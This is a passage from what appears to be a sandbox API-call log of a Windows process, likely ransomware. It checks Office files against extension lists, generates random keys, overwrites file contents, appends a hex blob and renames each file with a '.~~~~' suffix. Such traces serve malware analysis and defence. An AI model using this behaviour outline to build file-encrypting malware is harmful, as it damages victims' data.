	[0144.598] lstrlenW (lpString=".myd") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".myd") returned 0x0
	[0144.598] lstrlenW (lpString=".DTXS") returned 5
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".DTXS") returned 0x0
	[0144.598] lstrlenW (lpString=".ckp") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".ckp") returned 0x0
	[0144.598] lstrlenW (lpString=".dbt") returned 4
	[0144.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".dbt") returned 0x0
	[0144.599] lstrlenW (lpString=".db") returned 3
	[0144.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".db") returned 0x0
	[0144.599] lstrlenW (lpString=".TXT") returned 4
	[0144.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".TXT") returned 0x0
	[0144.599] lstrlenW (lpString=".MDF") returned 4
	[0144.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".MDF") returned 0x0
	[0144.599] lstrlenW (lpString=".bdb") returned 4
	[0144.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".bdb") returned 0x0
	[0144.599] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.599] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395850) returned 1
	[0144.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.601] CryptReleaseContext (hProv=0x395850, dwFlags=0x0) returned 1
	[0144.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.601] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26459114652) returned 1
	[0144.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf9783d0, dwHighDateTime=0x1d60e1e)) 
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fe48
	[0144.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fe48 | out: hHeap=0x300000) returned 1
	[0144.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0144.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.602] GetLastError () returned 0x0
	[0144.602] GetLastError () returned 0x0
	[0144.602] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.602] GetLastError () returned 0x0
	[0144.603] GetLastError () returned 0x0
	[0144.603] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.605] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.605] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.606] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.606] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.606] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.606] CloseHandle (hObject=0x10c) returned 1
	[0144.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0144.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.~~~~")) returned 1
	[0144.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37d038 | out: hHeap=0x300000) returned 1
	[0144.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.609] GetLastError () returned 0x0
	[0144.609] RtlWakeConditionVariable () returned 0x0
	[0144.609] GetCurrentThreadId () returned 0x9cc
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".scr") returned 0x0
	[0144.610] lstrlenW (lpString=".cmd") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".cmd") returned 0x0
	[0144.610] lstrlenW (lpString=".dll") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dll") returned 0x0
	[0144.610] lstrlenW (lpString=".bat") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".bat") returned 0x0
	[0144.610] lstrlenW (lpString=".cpl") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".cpl") returned 0x0
	[0144.610] lstrlenW (lpString=".sys") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".sys") returned 0x0
	[0144.610] lstrlenW (lpString=".msc") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".msc") returned 0x0
	[0144.610] lstrlenW (lpString=".com") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".com") returned 0x0
	[0144.610] lstrlenW (lpString=".lnk") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".lnk") returned 0x0
	[0144.610] lstrlenW (lpString=".msp") returned 4
	[0144.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".msp") returned 0x0
	[0144.610] lstrlenW (lpString=".pif") returned 4
	[0144.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".pif") returned 0x0
	[0144.611] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.614] lstrlenW (lpString=".sqb") returned 4
	[0144.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".sqb") returned 0x0
	[0144.614] lstrlenW (lpString=".ost") returned 4
	[0144.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".ost") returned 0x0
	[0144.614] lstrlenW (lpString=".txt") returned 4
	[0144.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".txt") returned 0x0
	[0144.615] lstrlenW (lpString=".mdt") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".mdt") returned 0x0
	[0144.615] lstrlenW (lpString=".BDB") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".BDB") returned 0x0
	[0144.615] lstrlenW (lpString=".eql") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".eql") returned 0x0
	[0144.615] lstrlenW (lpString=".DBF") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DBF") returned 0x0
	[0144.615] lstrlenW (lpString=".EQL") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".EQL") returned 0x0
	[0144.615] lstrlenW (lpString=".FDB") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".FDB") returned 0x0
	[0144.615] lstrlenW (lpString=".EDB") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".EDB") returned 0x0
	[0144.615] lstrlenW (lpString=".DACPAC") returned 7
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.615] lstrlenW (lpString=".VHD") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".VHD") returned 0x0
	[0144.615] lstrlenW (lpString=".DBV") returned 4
	[0144.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DBV") returned 0x0
	[0144.616] lstrlenW (lpString=".dacpac") returned 7
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dacpac") returned 0x0
	[0144.616] lstrlenW (lpString=".sdf") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".sdf") returned 0x0
	[0144.616] lstrlenW (lpString=".accdb") returned 6
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".accdb") returned 0x0
	[0144.616] lstrlenW (lpString=".DBX") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DBX") returned 0x0
	[0144.616] lstrlenW (lpString=".MDT") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".MDT") returned 0x0
	[0144.616] lstrlenW (lpString=".SQB") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".SQB") returned 0x0
	[0144.616] lstrlenW (lpString=".vhd") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".vhd") returned 0x0
	[0144.616] lstrlenW (lpString=".bac") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".bac") returned 0x0
	[0144.616] lstrlenW (lpString=".mdf") returned 4
	[0144.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".mdf") returned 0x0
	[0144.616] lstrlenW (lpString=".BAK") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".BAK") returned 0x0
	[0144.617] lstrlenW (lpString=".BAC") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".BAC") returned 0x0
	[0144.617] lstrlenW (lpString=".dbs") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dbs") returned 0x0
	[0144.617] lstrlenW (lpString=".vhdx") returned 5
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".vhdx") returned 0x0
	[0144.617] lstrlenW (lpString=".NDF") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".NDF") returned 0x0
	[0144.617] lstrlenW (lpString=".dat") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dat") returned 0x0
	[0144.617] lstrlenW (lpString=".DBS") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DBS") returned 0x0
	[0144.617] lstrlenW (lpString=".CKP") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".CKP") returned 0x0
	[0144.617] lstrlenW (lpString=".edb") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".edb") returned 0x0
	[0144.617] lstrlenW (lpString=".PST") returned 4
	[0144.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".PST") returned 0x0
	[0144.617] lstrlenW (lpString=".dbf") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dbf") returned 0x0
	[0144.618] lstrlenW (lpString=".SQL") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".SQL") returned 0x0
	[0144.618] lstrlenW (lpString=".pst") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".pst") returned 0x0
	[0144.618] lstrlenW (lpString=".dbv") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dbv") returned 0x0
	[0144.618] lstrlenW (lpString=".SDF") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".SDF") returned 0x0
	[0144.618] lstrlenW (lpString=".dtxs") returned 5
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dtxs") returned 0x0
	[0144.618] lstrlenW (lpString=".db3") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".db3") returned 0x0
	[0144.618] lstrlenW (lpString=".OST") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".OST") returned 0x0
	[0144.618] lstrlenW (lpString=".dbx") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dbx") returned 0x0
	[0144.618] lstrlenW (lpString=".DB3") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DB3") returned 0x0
	[0144.618] lstrlenW (lpString=".DAT") returned 4
	[0144.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DAT") returned 0x0
	[0144.619] lstrlenW (lpString=".VHDX") returned 5
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".VHDX") returned 0x0
	[0144.619] lstrlenW (lpString=".ndf") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".ndf") returned 0x0
	[0144.619] lstrlenW (lpString=".DB") returned 3
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DB") returned 0x0
	[0144.619] lstrlenW (lpString=".sql") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".sql") returned 0x0
	[0144.619] lstrlenW (lpString=".MYD") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".MYD") returned 0x0
	[0144.619] lstrlenW (lpString=".DBT") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DBT") returned 0x0
	[0144.619] lstrlenW (lpString=".ACCDB") returned 6
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.619] lstrlenW (lpString=".fdb") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".fdb") returned 0x0
	[0144.619] lstrlenW (lpString=".bak") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".bak") returned 0x0
	[0144.619] lstrlenW (lpString=".myd") returned 4
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".myd") returned 0x0
	[0144.619] lstrlenW (lpString=".DTXS") returned 5
	[0144.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".DTXS") returned 0x0
	[0144.620] lstrlenW (lpString=".ckp") returned 4
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".ckp") returned 0x0
	[0144.620] lstrlenW (lpString=".dbt") returned 4
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".dbt") returned 0x0
	[0144.620] lstrlenW (lpString=".db") returned 3
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".db") returned 0x0
	[0144.620] lstrlenW (lpString=".TXT") returned 4
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".TXT") returned 0x0
	[0144.620] lstrlenW (lpString=".MDF") returned 4
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".MDF") returned 0x0
	[0144.620] lstrlenW (lpString=".bdb") returned 4
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".bdb") returned 0x0
	[0144.620] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0144.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.666] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3958d8) returned 1
	[0144.669] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.669] CryptReleaseContext (hProv=0x3958d8, dwFlags=0x0) returned 1
	[0144.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0144.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0144.669] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26465940270) returned 1
	[0144.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfa36ab0, dwHighDateTime=0x1d60e1e)) 
	[0144.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0144.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0144.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0144.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f898
	[0144.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f898 | out: hHeap=0x300000) returned 1
	[0144.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cf08
	[0144.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.670] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.670] GetLastError () returned 0x0
	[0144.671] GetLastError () returned 0x0
	[0144.671] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.671] GetLastError () returned 0x0
	[0144.671] GetLastError () returned 0x0
	[0144.671] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.674] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.675] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
